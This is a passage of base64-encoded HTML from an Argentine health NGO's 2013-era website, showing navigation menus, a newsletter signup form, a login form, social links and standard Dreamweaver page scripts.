lkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3B